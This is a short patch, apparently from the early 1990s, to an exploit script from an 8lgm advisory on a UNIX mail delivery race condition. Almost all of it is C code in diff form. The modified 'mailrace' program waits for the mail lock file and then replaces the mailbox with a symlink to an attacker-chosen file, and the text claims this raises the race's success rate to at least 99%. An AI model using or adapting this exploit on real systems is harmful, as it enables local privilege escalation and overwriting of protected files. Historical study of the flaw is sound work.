Apply this patch to the script in [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992
to increase your chances of winning the race to at least 99%.

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*** mailscript.old	Tue May 10 01:49:50 1994
--- mailscript.new	Tue May 10 01:53:31 1994
***************
*** 58,80 ****
  fi
  
  # Make the race program
  cat >mailrace.c << 'EOF'
  #include <stdio.h>
  
  main(argc,argv)
  int argc;
  char *argv[];
  {
          if (argc != 3) {
                  fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
                  exit(1);
          }
  
!         for (;;) {
!                 unlink(argv[1]);
!                 symlink(argv[2], argv[1]);
!         }
  }
  EOF
  cc -o mailrace mailrace.c
  
--- 58,84 ----
  fi
  
  # Make the race program
  cat >mailrace.c << 'EOF'
+ #include <unistd.h>
  #include <stdio.h>
  
+ char lockfile[] =".lock";
+ 
  main(argc,argv)
  int argc;
  char *argv[];
  {
+ 	char path[128];
          if (argc != 3) {
                  fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
                  exit(1);
          }
  
!         strcpy(path, argv[1]);
!         strcat(path, lockfile);
!         while(access(path, F_OK));
!         symlink(argv[2], argv[1]);
  }
  EOF
  cc -o mailrace mailrace.c
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